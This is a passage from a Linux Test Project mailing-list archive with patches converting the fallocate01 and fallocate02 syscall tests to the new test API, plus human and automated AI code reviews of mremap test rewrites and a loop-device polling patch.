- *	TEST TITLE		: Basic test for fallocate()
- *
- *	TEST CASE TOTAL	: 2
- *
- *	CPU ARCHITECTURES	: PPC,X86, X86_64
- *
- *	AUTHOR			: Sharyathi Nagesh
- *
- *	CO-PILOT			:
- *
- *	DATE STARTED		: 24/12/2007
- *
- *	TEST CASES
- *	(Working of fallocate under 2 modes)
- *	 1) DEFAULT 2)FALLOC_FL_KEEP_SIZE
- *
- *	INPUT SPECIFICATIONS
- *		No input needs to be specified
- *		  fallocate() in puts are generated randomly
- *
- *	OUTPUT SPECIFICATIONS
- *		Output describing whether test cases passed or failed.
- *
- *	ENVIRONMENTAL NEEDS
- *		Test Needs to be executed on file system supporting ext4
- *   LTP {TMP} Needs to be set to such a folder
- *
- *	SPECIAL PROCEDURAL REQUIREMENTS
- *		None
- *
- *	DETAILED DESCRIPTION
- *		This is a test case for fallocate() system call.
- *		This test suite tests basic working of fallocate under different modes
- *		It trys to fallocate memory blocks and write into that block
- *
- *		Total 2 Test Cases :-
- *		(1) Test Case for DEFAULT MODE
- *		(2) Test Case for FALLOC_FL_KEEP_SIZE
- *
- *	Setup:
- *		Setup file on which fallocate is to be called
- *		Set up 2 files for each mode
- *
- *	Test:
- *		Loop if the proper options are given.
- *		Execute system call
- *		Check return code, if system call did fail
- *		lseek to some random location with in allocate block
- *		write data into the locattion Report if any error encountered
- *		PASS the test otherwise
- *
- *	Cleanup:
- *		Cleanup the temporary folder
- *
-*************************************************************************/
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) International Business Machines  Corp., 2007
+ * Author: Sharyathi Nagesh <sharyathi@in.ibm.com>
+ * Copyright (c) Linux Test Project, 2008-2024
+ */
+
+/*\
+ * Basic test for :manpage:`fallocate(2)` covering the two preallocation
+ * modes and their effect on the file size.
+ *
+ * A file is pre-populated to 12 blocks and a single extra block is
+ * preallocated past the end of the file. The test verifies that the
+ * resulting file size matches the mode semantics and that the newly
+ * allocated region is writable.
+ *
+ * [Algorithm]
+ *
+ * - Populate the working file with 12 blocks of block_size bytes.
+ * - Preallocate one block at the end of the file.
+ * - In DEFAULT_MODE the file grows to 13 blocks.
+ * - In FALLOC_FL_KEEP_SIZE mode the file size stays at 12 blocks.
+ * - Seek into the newly allocated region and write a byte to it.
+ */
 
 #define _GNU_SOURCE
 
-#include <stdio.h>
-#include <stdlib.h>
-#include <endian.h>
-#include <errno.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/syscall.h>
-#include <unistd.h>
-#include <inttypes.h>
-#include <sys/utsname.h>
-
-#include "test.h"
-#include "tso_safe_macros.h"
+#include "tst_test.h"
 #include "lapi/fallocate.h"
-#include "lapi/fcntl.h"
 
 #define BLOCKS_WRITTEN 12
 
-void get_blocksize(int);
-void populate_files(int fd);
-void runtest(int, int, loff_t);
+static int fd = -1;
+static int block_size;
 
-char *TCID = "fallocate01";
-char fname_mode1[255], fname_mode2[255];	/* Files used for testing */
-int fd_mode1, fd_mode2;
-int TST_TOTAL = 2;
-loff_t block_size;
-int buf_size;
+static struct tcase {
+	int mode;
+	int expected_blocks;
+	const char *desc;
+} tcases[] = {
+	{0, BLOCKS_WRITTEN + 1, "DEFAULT_MODE"},
+	{FALLOC_FL_KEEP_SIZE, BLOCKS_WRITTEN, "FALLOC_FL_KEEP_SIZE"},
+};
 
-/******************************************************************************
- * Performs all one time clean up for this test on successful
- * completion,  premature exit or  failure. Closes all temporary
- * files, removes all temporary directories exits the test with
- * appropriate return code by calling tst_exit() function.
-******************************************************************************/
-void cleanup(void)
+static void populate_file(void)
 {
+	char buf[block_size];
 
-	if (close(fd_mode1) == -1)
-		tst_resm(TWARN | TERRNO, "close(%s) failed", fname_mode1);
-	if (close(fd_mode2) == -1)
-		tst_resm(TWARN | TERRNO, "close(%s) failed", fname_mode2);
-	tst_rmdir();
-}
-
-/*****************************************************************************
- * Performs all one time setup for this test. This function is
- * used to create temporary dirs and temporary files
- * that may be used in the course of this test
- ******************************************************************************/
-void setup(void)
-{
-	/* Create temporary directories */
-	TEST_PAUSE;
+	for (int blocks = 0; blocks < BLOCKS_WRITTEN; blocks++) {
+		for (int i = 0; i < block_size; i++)
+			buf[i] = 'A' + (i % 26);
 
-	tst_tmpdir();
-
-	sprintf(fname_mode1, "tfile_mode1_%d", getpid());
-	fd_mode1 = SAFE_OPEN(cleanup, fname_mode1, O_RDWR | O_CREAT, 0700);
-	get_blocksize(fd_mode1);
-	populate_files(fd_mode1);
-
-	sprintf(fname_mode2, "tfile_mode2_%d", getpid());
-	fd_mode2 = SAFE_OPEN(cleanup, fname_mode2, O_RDWR | O_CREAT, 0700);
-	populate_files(fd_mode2);
+		SAFE_WRITE(SAFE_WRITE_ALL, fd, buf, block_size);
+	}
 }
 
-/*****************************************************************************
- * Gets the block size for the file system
- ******************************************************************************/
-void get_blocksize(int fd)
+static void setup(void)
 {
+	char fname[NAME_MAX + 1];
 	struct stat file_stat;
 
-	if (fstat(fd, &file_stat) < 0)
-		tst_resm(TFAIL | TERRNO,
-			 "fstat failed while getting block_size");
-
-	block_size = file_stat.st_blksize;
-	buf_size = block_size;
-}
-
-/*****************************************************************************
- * Writes data into the file
- ******************************************************************************/
-
-void populate_files(int fd)
-{
-	char buf[buf_size + 1];
-	int index;
-	int blocks;
-	int data;
+	snprintf(fname, sizeof(fname), "tfile_%d", getpid());
+	fd = SAFE_OPEN(fname, O_RDWR | O_CREAT, 0700);
 
-	for (blocks = 0; blocks < BLOCKS_WRITTEN; blocks++) {
-		for (index = 0; index < buf_size; index++)
-			buf[index] = 'A' + (index % 26);
-		buf[buf_size] = '\0';
-		if ((data = write(fd, buf, buf_size)) == -1)
-			tst_brkm(TBROK | TERRNO, cleanup, "write failed");
-	}
+	SAFE_FSTAT(fd, &file_stat);
+	block_size = (int)file_stat.st_blksize;
 }
 
-int main(int ac, char **av)
+static void run(unsigned int n)
 {
-	loff_t expected_size;
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
+	struct tcase *tc = &tcases[n];
+	struct stat file_stat;
+	loff_t offset, len, pos, write_offset, expected_size;
 
-	setup();
+	/* Reset the backing file to a pristine 12-block state per run. */
+	SAFE_FTRUNCATE(fd, 0);
+	SAFE_LSEEK(fd, 0, SEEK_SET);
+	populate_file();
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
+	offset = SAFE_LSEEK(fd, 0, SEEK_END);
+	len = block_size;
+	expected_size = (loff_t)tc->expected_blocks * block_size;
 
-		expected_size = BLOCKS_WRITTEN * block_size + block_size;
-		runtest(0, fd_mode1, expected_size);
+	TEST(fallocate(fd, tc->mode, offset, len));
+	if (TST_RET != 0) {
+		if (TST_ERR == EOPNOTSUPP || TST_ERR == ENOSYS)
+			tst_brk(TCONF, "fallocate() not supported");
 
-		expected_size = BLOCKS_WRITTEN * block_size;
-		runtest(FALLOC_FL_KEEP_SIZE, fd_mode2, expected_size);
+		tst_res(TFAIL | TTERRNO, "fallocate(%s, %lld, %lld) failed",
+			tc->desc, (long long)offset, (long long)len);
+		return;
 	}
+	tst_res(TPASS, "fallocate(%s, %lld, %lld) succeeded",
+		tc->desc, (long long)offset, (long long)len);
 
-	cleanup();
-	tst_exit();
-}
-
-/*****************************************************************************
- * Calls the system call, with appropriate parameters and writes data
- ******************************************************************************/
-void runtest(int mode, int fd, loff_t expected_size)
-{
-	loff_t offset;
-	loff_t len = block_size;
-	loff_t write_offset, lseek_offset;
-	offset = lseek(fd, 0, SEEK_END);
-	struct stat file_stat;
-	errno = 0;
-
-	TEST(fallocate(fd, mode, offset, len));
-	/* check return code */
-	if (TEST_RETURN != 0) {
-		if (TEST_ERRNO == EOPNOTSUPP || TEST_ERRNO == ENOSYS) {
-			tst_brkm(TCONF, cleanup,
-				 "fallocate system call is not implemented");
-		}
-		tst_resm(TFAIL | TTERRNO,
-			 "fallocate(%d, %d, %" PRId64 ", %" PRId64 ") failed",
-			 fd, mode, offset, len);
-		return;
+	SAFE_FSTAT(fd, &file_stat);
+	if (file_stat.st_size != expected_size) {
+		tst_res(TFAIL, "file size is %lld, expected %lld",
+			(long long)file_stat.st_size, (long long)expected_size);
 	} else {
-		tst_resm(TPASS,
-			 "fallocate(%d, %d, %" PRId64 ", %" PRId64
-			 ") returned %ld", fd, mode, offset, len,
-			 TEST_RETURN);
+		tst_res(TPASS, "file size is %lld as expected",
+			(long long)expected_size);
 	}
 
-	if (fstat(fd, &file_stat) < 0)
-		tst_resm(TFAIL | TERRNO, "fstat failed after fallocate()");
-
-	if (file_stat.st_size != expected_size)
-		tst_resm(TFAIL | TERRNO,
-			 "fstat test fails on fallocate (%d, %d, %" PRId64 ", %"
-			 PRId64 ") Failed on mode", fd, mode, offset, len);
-
-	write_offset = random() % len;
-	lseek_offset = lseek(fd, write_offset, SEEK_CUR);
-	if (lseek_offset != offset + write_offset) {
-		tst_resm(TFAIL | TERRNO,
-			 "lseek fails in fallocate(%d, %d, %" PRId64 ", %"
-			 PRId64 ") failed on mode", fd, mode, offset, len);
+	write_offset = len / 2;
+	pos = SAFE_LSEEK(fd, write_offset, SEEK_CUR);
+	if (pos != offset + write_offset) {
+		tst_res(TFAIL, "lseek returned %lld, expected %lld",
+			(long long)pos, (long long)(offset + write_offset));
 		return;
 	}
-	//Write a character to file at random location
-	TEST(write(fd, "A", 1));
-	/* check return code */
-	if (TEST_RETURN == -1) {
-		tst_resm(TFAIL | TTERRNO,
-			 "write fails in fallocate(%d, %d, %" PRId64 ", %"
-			 PRId64 ") failed", fd, mode, offset, len);
-	} else {
-		tst_resm(TPASS,
-			 "write operation on fallocated(%d, %d, %"
-			 PRId64 ", %" PRId64 ") returned %ld", fd, mode,
-			 offset, len, TEST_RETURN);
-	}
+
+	TST_EXP_POSITIVE(write(fd, "A", 1),
+			 "write into the newly allocated region");
+}
+
+static void cleanup(void)
+{
+	if (fd != -1)
+		SAFE_CLOSE(fd);
 }
+
+static struct tst_test test = {
+	.setup = setup,
+	.cleanup = cleanup,
+	.test = run,
+	.tcnt = ARRAY_SIZE(tcases),
+	.needs_tmpdir = 1,
+};

-- 
2.51.0


From andrea.cervesato@suse.de  Fri Aug  7 10:15:36 2026
From: andrea.cervesato@suse.de (Andrea Cervesato)
Date: Fri, 07 Aug 2026 10:15:36 +0200
Subject: [LTP] [PATCH v2 2/2] fallocate02: Convert to new API
In-Reply-To: <20260807-convert_fallocate_suite-v2-0-3761f7b74b1f@suse.com>
References: <20260807-convert_fallocate_suite-v2-0-3761f7b74b1f@suse.com>
Message-ID: <20260807-convert_fallocate_suite-v2-2-3761f7b74b1f@suse.com>

From: Andrea Cervesato <andrea.cervesato@suse.com>

Convert the fallocate02 test case from the legacy LTP API (test.h) to the
new tst_test API using a table-driven struct tcase[] and TST_EXP_FAIL for
each error-path oracle.

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 testcases/kernel/syscalls/fallocate/fallocate02.c | 193 +++++++---------------
 1 file changed, 61 insertions(+), 132 deletions(-)

diff --git a/testcases/kernel/syscalls/fallocate/fallocate02.c b/testcases/kernel/syscalls/fallocate/fallocate02.c
index 4469f02f2..d31d2a1e4 100644
--- a/testcases/kernel/syscalls/fallocate/fallocate02.c
+++ b/testcases/kernel/syscalls/fallocate/fallocate02.c
@@ -1,164 +1,93 @@
-/******************************************************************************
- *	Copyright (c) International Business Machines  Corp., 2007
- *	Author: Sharyathi Nagesh <sharyathi@in.ibm.com>
- ******************************************************************************/
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) International Business Machines  Corp., 2007
+ * Author: Sharyathi Nagesh <sharyathi@in.ibm.com>
+ */
 
-/***************************************************************************
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
+/*\
+ * Verify that :manpage:`fallocate(2)` fails with the expected error codes:
  *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU Library General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
-***************************************************************************/
-
-/*
- * DESCRIPTION
- *	check fallocate() with various error conditions that should produce
- *	EBADF, EINVAL and EFBIG.
+ * - EBADF when the file descriptor is opened read-only.
+ * - EINVAL when the offset or length is negative, or the length is zero.
+ * - EFBIG when the requested range exceeds the maximum file size (only
+ *   tested on 64-bit offset ABIs).
  */
 
 #define _GNU_SOURCE
 
-#include <stdio.h>
-#include <stdlib.h>
-#include <endian.h>
-#include <errno.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <fcntl.h>
-#include <inttypes.h>
-#include <sys/utsname.h>
-#include <limits.h>
-
-#include "test.h"
-#include "tso_safe_macros.h"
+#include "tst_test.h"
 #include "lapi/fallocate.h"
 #include "lapi/abisize.h"
 
-#define BLOCKS_WRITTEN		12
-#ifdef TEST_DEFAULT
-# define DEFAULT_TEST_MODE	0
-#else
-# define DEFAULT_TEST_MODE	1
-#endif
-#define OFFSET			12
-#define FNAMER			"test_file1"
-#define FNAMEW			"test_file2"
-#define BLOCK_SIZE		1024
-#define MAX_FILESIZE            (LLONG_MAX / 1024)
-
-static void setup(void);
-static void fallocate_verify(int);
-static void cleanup(void);
+#define BLOCKS_WRITTEN	12
+#define OFFSET		12
+#define FNAMER		"test_file1"
+#define FNAMEW		"test_file2"
+#define BLOCK_SIZE	1024
+#define MAX_FILESIZE	(LLONG_MAX / BLOCK_SIZE)
 
-static int fdw;
-static int fdr;
+static int fdr = -1;
+static int fdw = -1;
 
-static struct test_data_t {
+static struct tcase {
 	int *fd;
-	char *fname;
-	int mode;
 	loff_t offset;
 	loff_t len;
-	int error;
-} test_data[] = {
-	{&fdr, FNAMER, DEFAULT_TEST_MODE, 0, 1, EBADF},
-	{&fdw, FNAMEW, DEFAULT_TEST_MODE, -1, 1, EINVAL},
-	{&fdw, FNAMEW, DEFAULT_TEST_MODE, 1, -1, EINVAL},
-	{&fdw, FNAMEW, DEFAULT_TEST_MODE, BLOCKS_WRITTEN, 0, EINVAL},
-	{&fdw, FNAMEW, DEFAULT_TEST_MODE, BLOCKS_WRITTEN, -1, EINVAL},
-	{&fdw, FNAMEW, DEFAULT_TEST_MODE, -(BLOCKS_WRITTEN+OFFSET), 1, EINVAL},
+	int exp_errno;
+} tcases[] = {
+	{&fdr, 0, 1, EBADF},
+	{&fdw, -1, 1, EINVAL},
+	{&fdw, 1, -1, EINVAL},
+	{&fdw, BLOCKS_WRITTEN, 0, EINVAL},
+	{&fdw, BLOCKS_WRITTEN, -1, EINVAL},
+	{&fdw, -(BLOCKS_WRITTEN + OFFSET), 1, EINVAL},
 #if defined(TST_ABI64) || _FILE_OFFSET_BITS == 64
-	{&fdw, FNAMEW, DEFAULT_TEST_MODE, MAX_FILESIZE, 1, EFBIG},
-	{&fdw, FNAMEW, DEFAULT_TEST_MODE, 1, MAX_FILESIZE, EFBIG},
+	{&fdw, MAX_FILESIZE, 1, EFBIG},
+	{&fdw, 1, MAX_FILESIZE, EFBIG},
 #endif
 };
 
-TCID_DEFINE(fallocate02);
-int TST_TOTAL = ARRAY_SIZE(test_data);
-
-int main(int ac, char **av)
-{
-	int lc;
-	int i;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; i++)
-			fallocate_verify(i);
-	}
-
-	cleanup();
-
-	tst_exit();
-}
-
 static void setup(void)
 {
+	char buf[BLOCK_SIZE];
 	int i;
 
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	fdr = SAFE_OPEN(cleanup, FNAMER, O_RDONLY | O_CREAT, S_IRUSR);
+	fdr = SAFE_OPEN(FNAMER, O_RDONLY | O_CREAT, 0400);
+	fdw = SAFE_OPEN(FNAMEW, O_RDWR | O_CREAT, 0700);
 
-	fdw = SAFE_OPEN(cleanup, FNAMEW, O_RDWR | O_CREAT, S_IRWXU);
-
-	char buf[BLOCK_SIZE];
 	memset(buf, 'A', BLOCK_SIZE);
 	for (i = 0; i < BLOCKS_WRITTEN; i++)
-		SAFE_WRITE(cleanup, SAFE_WRITE_ALL, fdw, buf, BLOCK_SIZE);
-}
+		SAFE_WRITE(SAFE_WRITE_ALL, fdw, buf, BLOCK_SIZE);
 
-static void fallocate_verify(int i)
-{
-	TEST(fallocate(*test_data[i].fd, test_data[i].mode,
-		       test_data[i].offset * BLOCK_SIZE,
-		       test_data[i].len * BLOCK_SIZE));
-	if (TEST_ERRNO != test_data[i].error) {
-		if (TEST_ERRNO == EOPNOTSUPP ||
-		    TEST_ERRNO == ENOSYS) {
-			tst_brkm(TCONF, cleanup,
-				 "fallocate system call is not implemented");
-		}
-		tst_resm(TFAIL | TTERRNO,
-			 "fallocate(%s:%d, %d, %" PRId64 ", %" PRId64 ") "
-			 "failed, expected errno:%d", test_data[i].fname,
-			 *test_data[i].fd, test_data[i].mode,
-			 test_data[i].offset * BLOCK_SIZE,
-			 test_data[i].len * BLOCK_SIZE, test_data[i].error);
-	} else {
-		tst_resm(TPASS | TTERRNO,
-			 "fallocate(%s:%d, %d, %" PRId64 ", %" PRId64 ") "
-			 "returned %d", test_data[i].fname, *test_data[i].fd,
-			 test_data[i].mode, test_data[i].offset * BLOCK_SIZE,
-			 test_data[i].len * BLOCK_SIZE, TEST_ERRNO);
-	}
+	TEST(fallocate(fdw, FALLOC_FL_KEEP_SIZE, 0, BLOCK_SIZE));
+	if (TST_RET == -1 && (TST_ERR == EOPNOTSUPP || TST_ERR == ENOSYS))
+		tst_brk(TCONF, "fallocate() not supported");
 }
 
 static void cleanup(void)
 {
-	if (fdw > 0)
-		SAFE_CLOSE(NULL, fdw);
-	if (fdr > 0)
-		SAFE_CLOSE(NULL, fdr);
+	if (fdw != -1)
+		SAFE_CLOSE(fdw);
+	if (fdr != -1)
+		SAFE_CLOSE(fdr);
+}
 
-	tst_rmdir();
+static void verify_fallocate(unsigned int n)
+{
+	struct tcase *tc = &tcases[n];
+
+	TST_EXP_FAIL(fallocate(*tc->fd, FALLOC_FL_KEEP_SIZE,
+			       tc->offset * BLOCK_SIZE,
+			       tc->len * BLOCK_SIZE), tc->exp_errno,
+		     "fallocate(%d, %lld, %lld)", *tc->fd,
+		     (long long)(tc->offset * BLOCK_SIZE),
+		     (long long)(tc->len * BLOCK_SIZE));
 }
+
+static struct tst_test test = {
+	.setup = setup,
+	.cleanup = cleanup,
+	.test = verify_fallocate,
+	.tcnt = ARRAY_SIZE(tcases),
+	.needs_tmpdir = 1,
+};

-- 
2.51.0


From linuxtestproject.agent@gmail.com  Fri Aug  7 10:19:52 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Fri,  7 Aug 2026 08:19:52 +0000
Subject: [LTP] mremap01: Convert to new API
In-Reply-To: <20260807-rewrite_mremap_testing_suite-v2-1-1760ae8e3b8b@suse.com>
References: <20260807-rewrite_mremap_testing_suite-v2-1-1760ae8e3b8b@suse.com>
Message-ID: <20260807081952.9062-1-linuxtestproject.agent@gmail.com>

Hi Andrea,

On Fri, 7 Aug 2026, Andrea Cervesato wrote:
> mremap01: Convert to new API

--- [PATCH 1/6] ---

> 	if (verify_file())
> 		tst_res(TFAIL, "mremap()'d region did not sync to the file");
> 	else
> 		tst_res(TPASS, "Functionality of mremap() is correct");

Could verify_file() report the final result directly instead of returning
test status to run()? It already emits TFAIL for a mismatched byte, so the
current failure path reports a second TFAIL at the call site.

--- [PATCH 3/6] ---

>  * - Obtain an unmapped address via ``tst_get_bad_addr()``.
> 	bad_addr = tst_get_bad_addr(NULL);

Could this create and unmap a memsize-sized range instead?
tst_get_bad_addr() maps one PROT_NONE page and returns that still-mapped
page. Thus old_address itself is mapped, and EFAULT depends on old_size
extending beyond it, contrary to the description and commit message.

--- [PATCH 4/6] ---

> -LTPLIBS = ipc
> +LTPLIBS = newipc
> -mremap04: LTPLDLIBS  = -lltpipc
> +mremap04: LTPLDLIBS  = -lltpnewipc

Could both IPC library assignments be removed? The rewritten test removes
all SysV IPC usage, does not include tst_newipc.h or call GETIPCKEY(), and no
other test in this directory uses either IPC library.

The commit message also says that the new test uses SysV shared memory and
GETIPCKEY(). Could it describe the actual anonymous mmap rewrite instead?

--- [PATCH 5/6] ---

> Convert the mremap05 test case from the legacy LTP API to the new
> tst_test API.

Could the body explain why this rewrite removes the two successful
MREMAP_FIXED cases from mremap05 and splits them into a separate test? The
current text only restates the subject and leaves the coverage change
unexplained.

--- [PATCH 6/6] ---

> 	if (ret != new_address)
> 		tst_res(TFAIL, "%s: ret %p, expected %p", tc->msg, ret, new_address);
> 	else if (check_pattern(tc->msg, ret, tc->new_pages) == 0)
> 		tst_res(TPASS, "%s", tc->msg);

Could check_pattern() report the final TPASS or TFAIL itself, or could the
content check remain in run()? It currently emits TFAIL and propagates a
status back to run() to decide whether to emit TPASS.

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From chrubis@suse.cz  Fri Aug  7 11:17:18 2026
From: chrubis@suse.cz (Cyril Hrubis)
Date: Fri, 7 Aug 2026 11:17:18 +0200
Subject: [LTP] [PATCH v2 5/6] mremap05: Convert to new API
In-Reply-To: <20260807-rewrite_mremap_testing_suite-v2-5-1760ae8e3b8b@suse.com>
References: <20260807-rewrite_mremap_testing_suite-v2-0-1760ae8e3b8b@suse.com>
 <20260807-rewrite_mremap_testing_suite-v2-5-1760ae8e3b8b@suse.com>
Message-ID: <anWingRcneCxre3f@yuki.lan>

Hi!
Reviewed-by: Cyril Hrubis <chrubis@suse.cz>

-- 
Cyril Hrubis
chrubis@suse.cz

From chrubis@suse.cz  Fri Aug  7 11:39:26 2026
From: chrubis@suse.cz (Cyril Hrubis)
Date: Fri, 7 Aug 2026 11:39:26 +0200
Subject: [LTP] [PATCH v2 6/6] mremap08: Extract test from mremap05
In-Reply-To: <20260807-rewrite_mremap_testing_suite-v2-6-1760ae8e3b8b@suse.com>
References: <20260807-rewrite_mremap_testing_suite-v2-0-1760ae8e3b8b@suse.com>
 <20260807-rewrite_mremap_testing_suite-v2-6-1760ae8e3b8b@suse.com>
Message-ID: <anWnzne4v83HxM1K@yuki.lan>

Hi!
> diff --git a/testcases/kernel/syscalls/mremap/mremap08.c b/testcases/kernel/syscalls/mremap/mremap08.c
> new file mode 100644
> index 000000000..8d8e82d8b
> --- /dev/null
> +++ b/testcases/kernel/syscalls/mremap/mremap08.c
> @@ -0,0 +1,128 @@
> +// SPDX-License-Identifier: GPL-2.0-or-later
> +/*
> + * Copyright (c) 2026 Linux Test Project
> + */
> +
> +/*\
> + * Verify the behavior of the ``MREMAP_FIXED`` flag of :manpage:`mremap(2)`:
> + *
> + * - ``MREMAP_FIXED | MREMAP_MAYMOVE`` can move a mapping to a new, free
> + *   address, preserving its content.
> + * - ``MREMAP_FIXED | MREMAP_MAYMOVE`` unmaps a previously existing mapping at
> + *   the target address range and replaces it with the moved mapping.
> + */
> +
> +#define _GNU_SOURCE
> +#include <sys/mman.h>
> +#include "tst_test.h"
> +
> +static int pagesize;
> +
> +static struct tcase {
> +	size_t old_pages;
> +	size_t new_pages;
> +	int flags;
> +	int free_dst;
> +	const char *msg;
> +} tcases[] = {
> +	{
> +		.old_pages = 1,
> +		.new_pages = 1,
> +		.flags = MREMAP_FIXED | MREMAP_MAYMOVE,
> +		.free_dst = 1,
> +		.msg = "move mapping to free address",
> +	},
> +	{
> +		.old_pages = 1,
> +		.new_pages = 1,
> +		.flags = MREMAP_FIXED | MREMAP_MAYMOVE,
> +		.free_dst = 0,
> +		.msg = "move mapping onto an occupied address",
> +	},
> +};
> +
> +static void *get_test_area(size_t size, int free_area)
> +{
> +	void *p;
> +
> +	p = SAFE_MMAP(NULL, size, PROT_READ | PROT_WRITE,
> +		      MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
> +
> +	if (free_area)
> +		SAFE_MUNMAP(p, size);
> +
> +	return p;
> +}
> +
> +static void setup(void)
> +{
> +	pagesize = getpagesize();
> +}
> +
> +static void fill_pattern(char *addr, size_t pages)
> +{
> +	size_t i;
> +
> +	for (i = 0; i < pages; i++)
> +		addr[i * pagesize] = (char)(0x1 + i);
> +}
> +
> +static int check_pattern(const char *msg, char *addr, size_t pages)
> +{
> +	size_t i;
> +
> +	for (i = 0; i < pages; i++) {
> +		char got = addr[i * pagesize];
> +		char exp = (char)(0x1 + i);
> +
> +		if (got != exp) {
> +			tst_res(TFAIL, "%s: page %zu content 0x%x, expected 0x%x",
> +				msg, i, (unsigned char)got, (unsigned char)exp);
> +			return 1;
> +		}
> +	}
> +
> +	return 0;
> +}
> +
> +static void run(unsigned int n)
> +{
> +	struct tcase *tc = &tcases[n];
> +	char *old_address;
> +	char *new_address;
> +	char *ret;
> +	size_t old_size = tc->old_pages * pagesize;
> +	size_t new_size = tc->new_pages * pagesize;
> +
> +	old_address = get_test_area(old_size, 0);
> +	new_address = get_test_area(new_size, tc->free_dst);
> +
> +	fill_pattern(old_address, tc->old_pages);
> +
> +	if (!tc->free_dst)
> +		*new_address = 0x7f;

This should be moved into check_patter()

> +	TESTPTR(mremap(old_address, old_size, new_size, tc->flags, new_address));
> +	ret = TST_RET_PTR;
> +
> +	if (ret == MAP_FAILED) {
> +		tst_res(TFAIL | TTERRNO, "%s failed", tc->msg);
> +		SAFE_MUNMAP(old_address, old_size);
> +		if (!tc->free_dst)
> +			SAFE_MUNMAP(new_address, new_size);
> +		return;
> +	}
> +
> +	if (ret != new_address)
> +		tst_res(TFAIL, "%s: ret %p, expected %p", tc->msg, ret, new_address);
> +	else if (check_pattern(tc->msg, ret, tc->new_pages) == 0)
> +		tst_res(TPASS, "%s", tc->msg);

This looks incomplete, we will not produce result if pattern was wrong.
It should be:

	if (ret != new_address)
		tst_res(TFAIL, ...);
	else if (check_pattern(...))
		tst_res(TFAIL, ...);
	else
		tst_res(TPASS, ...);


Otherwise:

Reviewed-by: Cyril Hrubis <chrubis@suse.cz>

-- 
Cyril Hrubis
chrubis@suse.cz

From linuxtestproject.agent@gmail.com  Fri Aug  7 12:03:58 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Fri,  7 Aug 2026 10:03:58 +0000
Subject: [LTP] fallocate01: Convert to new API
In-Reply-To: <20260807-convert_fallocate_suite-v2-1-3761f7b74b1f@suse.com>
References: <20260807-convert_fallocate_suite-v2-1-3761f7b74b1f@suse.com>
Message-ID: <20260807100358.4121-1-linuxtestproject.agent@gmail.com>

Hi Andrea,

On Fri, 7 Aug 2026, Andrea Cervesato wrote:
> fallocate01: Convert to new API

--- [PATCH 1/2] ---

> Convert the fallocate01 test case from the legacy LTP API (test.h) to the
> new tst_test API using a table-driven struct tcase[] and TST_EXP_* macros.

Could the commit body explain why this nontrivial API conversion is needed?
It currently only restates what was converted and how.

--- [PATCH 2/2] ---

> 	TEST(fallocate(fdw, FALLOC_FL_KEEP_SIZE, 0, BLOCK_SIZE));
> 	if (TST_RET == -1 && (TST_ERR == EOPNOTSUPP || TST_ERR == ENOSYS))
> 		tst_brk(TCONF, "fallocate() not supported");

Could the filesystem support probe be removed, or availability handling be
restricted to ENOSYS?

Linux 7.2 validates the read-only descriptor, invalid offset and length, and
offset-plus-length overflow before consulting file->f_op->fallocate. These
error cases therefore remain valid when the backing filesystem returns
EOPNOTSUPP for a valid allocation. The new probe skips that coverage, unlike
the legacy test.

> Convert the fallocate02 test case from the legacy LTP API (test.h) to the
> new tst_test API using a table-driven struct tcase[] and TST_EXP_FAIL for
> each error-path oracle.

Could the commit body explain why this nontrivial API conversion is needed?
It currently only restates what was converted and how.

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From wakel@google.com  Fri Aug  7 12:04:38 2026
From: wakel@google.com (Wake Liu)
Date: Fri,  7 Aug 2026 10:04:38 +0000
Subject: [LTP] [PATCH v5] lib: Use backoff polling to wait for loop device
 nodes
In-Reply-To: <anLhvtnHhHay5Y93@linux.dev>
References: <anLhvtnHhHay5Y93@linux.dev>
Message-ID: <20260807100439.2796808-1-wakel@google.com>

On systems where loop device node creation is asynchronous (such as Android
containers or systems with slow udev startup), calling stat() or open()
immediately after LOOP_CTL_GET_FREE can transiently fail because the
device file (e.g. /dev/loopX) has not been fully populated in time.

Introduce an exponential-backoff retry loop in both
tst_find_free_loopdev() and tst_attach_device() (starting at 1ms delay,
doubling each try, capped at 100ms) to wait for the device node to be
successfully populated.

This improves the robustness of loop device allocations on asynchronous
virtualized environments while minimizing unnecessary delays on responsive
systems.

Signed-off-by: Wake Liu <wakel@google.com>
---
v4 -> v5:
 - Declare tst_multiply_timeout() in tst_common.h to fix old API build failures in CI.

v3 -> v4:
 - Rebase onto the latest LTP HEAD.
 - Remove self-referencing Link in commit message.

v2 -> v3:
 - Reuse LTP native TST_RETRY_FN_EXP_BACKOFF() macro in tst_common.h to simplify code.

v1 -> v2:
 - Strictly clamp backoff delay to 100ms (prevent overflow exceeding cap).
 - Skip usleep on final loop iteration to avoid unnecessary idle delay.
 - Reduce max attempts to 30 (stat) and 15 (open) to bound worst-case timeout.

 include/tst_common.h |  2 ++
 lib/tst_device.c     | 13 +++++++++----
